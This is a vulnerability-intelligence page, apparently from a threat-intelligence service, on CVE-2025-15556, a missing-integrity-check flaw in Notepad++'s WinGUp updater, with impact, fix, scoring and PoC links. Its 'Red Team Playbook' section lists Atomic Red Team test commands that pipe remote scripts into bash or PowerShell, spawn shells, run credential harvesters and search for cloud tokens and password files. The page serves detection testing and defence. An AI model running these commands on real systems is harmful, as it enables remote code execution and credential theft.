CVE-2025-15556
Overview
This vulnerability is an update integrity verification flaw in the WinGUp updater component of Notepad++ prior to version 8.8.9. The root cause is the absence of cryptographic verification for downloaded update metadata and installer files, allowing tampered or malicious update packages to be accepted and executed. The affected feature is the automatic update mechanism responsible for fetching and applying software updates.
Vulnerability Description
Notepad++ versions prior to 8.8.9, when using the WinGUp updater, contain an update integrity verification vulnerability where downloaded update metadata and installers are not cryptographically verified. An attacker able to intercept or redirect update traffic can cause the updater to download and execute an attacker-controlled installer, resulting in arbitrary code execution with the privileges of the user.
Impact
An attacker capable of intercepting or redirecting update traffic can cause Notepad++ to download and execute a malicious installer under the context of the logged-in user. This results in arbitrary code execution with user-level privileges, enabling installation of malware, data theft, or further system compromise. Exploitation requires no authentication but does require the attacker to be positioned to manipulate update delivery, such as via a man-in-the-middle attack on the user's network. The business impact includes potential full compromise of the user's environment and unauthorized control over affected systems.
Solution
Users should upgrade Notepad++ to version 8.8.9 or later, which includes fixes for the update integrity verification vulnerability. The vendor advisory at https://notepad-plus-plus.org/news/hijacked-incident-info-update/ provides detailed patch instructions. Additional patches and fixes are available in the Notepad++ repository commits linked in the vendor advisory and community forums. No alternative workarounds are specified; applying the updated version is required to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Notepad++ versions prior to 8.8.9 arises from the absence of cryptographic verification for update metadata and installers when using the WinGUp updater. This flaw allows an attacker to intercept or redirect the update traffic, enabling them to deliver malicious payloads disguised as legitimate updates. The lack of integrity checks means that users are unable to verify the authenticity of the updates they receive, creating a significant security gap. When the updater executes an attacker-controlled installer, it can lead to arbitrary code execution with the same privileges as the user running the application, potentially compromising the entire system.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage man-in-the-middle techniques, such as ARP spoofing or DNS hijacking, to redirect legitimate update requests to a malicious server. Alternatively, an attacker could exploit insecure networks, particularly in environments where users are not vigilant about the integrity of their connections. Once the malicious installer is executed, the attacker can gain control over the system, deploy additional malware, exfiltrate sensitive data, or perform other malicious activities that could severely impact the user or organization.
The real-world impact of this vulnerability is substantial, particularly for businesses that rely on Notepad++ for development or administrative tasks. The potential for arbitrary code execution means that an attacker could not only compromise individual machines but also pivot to more critical systems within a network. This could lead to data breaches, loss of intellectual property, or even ransomware attacks, where the attacker encrypts files and demands payment for their release. The business risk is further amplified by the potential for reputational damage, regulatory fines, and the costs associated with incident response and recovery.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, they should ensure that all instances of Notepad++ are updated to the latest version, where this vulnerability has been addressed. Regularly auditing software versions and maintaining an inventory of applications can help in identifying and remediating vulnerable instances. Additionally, employing network security measures, such as intrusion detection systems (IDS) and firewalls, can help monitor and block unauthorized update traffic. Educating users about the risks of downloading software from untrusted sources and the importance of verifying updates can also play a crucial role in reducing the attack surface.
In conclusion, the integrity verification vulnerability in Notepad++ presents a significant threat to users and organizations alike. The ability for an attacker to execute arbitrary code through compromised updates underscores the importance of robust software update mechanisms that include cryptographic verification. By understanding the technical details, potential attack vectors, and implementing effective detection and mitigation strategies, organizations can better protect themselves against the risks associated with this vulnerability. Continuous vigilance and proactive measures are essential in maintaining a secure software environment.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-15556, rising by over 70% to a current level that places it near the 93rd percentile. This upward trend, coupled with the recent inclusion of the vulnerability in the Known Exploited Vulnerabilities (KEV) catalog, signals growing adversary interest and potential exploitation activity. While ransomware usage linked to this vulnerability remains undetermined, the elevated EPSS and expanding public proof-of-concept resources indicate an increased likelihood of targeted attacks leveraging the Notepad++ WinGUp updater flaw. For defenders, this shift underscores the urgency of enhancing detection capabilities and monitoring update traffic anomalies, as the risk of arbitrary code execution through compromised updates is now more imminent. Consequently, the threat level associated with CVE-2025-15556 should be considered heightened, reflecting a more active exploitation landscape and a narrowing window for effective defensive measures.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Notepad-Plus-Plus | Notepad\+\+ | All |
cpe:2.3:a:notepad-plus-plus:notepad\+\+:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
renat0z3r0/notepadpp-supply-chain-iocs
IoCs and detection rules for the Notepad++ supply chain attack (CVE-2025-15556) — Lotus Blossom APT, June–December 2025....
|
renat0z3r0 | 1 | 0 | 2026-02-09 | View |
|
George0Papasotiriou/CVE-2025-15556-Notepad-WinGUp-Updater-RCE
|
George0Papasotiriou | 1 | 0 | 2026-02-10 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (7)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
45 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
kubectl run #{pod_name} --image=#{image_name} --restart=Never --attach --rm -i -- bash -lc "mkdir -p /tmp/test && cd /tmp/test && npm init -y >/dev/null 2>&1 && echo '--- package.json before install ---' && cat package.json && npm install #{package_name} --no-audit --no-fund --no-package-lock && echo '--- package.json after install ---' && cat package.json"
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (8)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-15556 |
| community.notepad-plus-plus.org |
GitHub CVE
release-notes
patch
|
https://community.notepad-plus-plus.org/topic/27298/notepad-v8-8-9-vulnerability-fix |
| notepad-plus-plus.org |
GitHub CVE
vendor-advisory
|
https://notepad-plus-plus.org/news/hijacked-incident-info-update/ |
| github.com |
GitHub CVE
patch
|
https://github.com/notepad-plus-plus/notepad-plus-plus/commit/bcf2aa68ef414338d717e20e059459570ed6c5ab |
| github.com |
GitHub CVE
patch
|
https://github.com/notepad-plus-plus/wingup/commit/ce0037549995ed0396cc363544d14b3425614fdb |
| vulncheck.com |
GitHub CVE
third-party-advisory
|
https://www.vulncheck.com/advisories/notepad-plus-plus-wingup-updater-lacks-update-integrity-verification |
| notepad-plus-plus.org |
NVD API
Vendor Advisory
|
https://notepad-plus-plus.org//news//clarification-security-incident/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-15556 |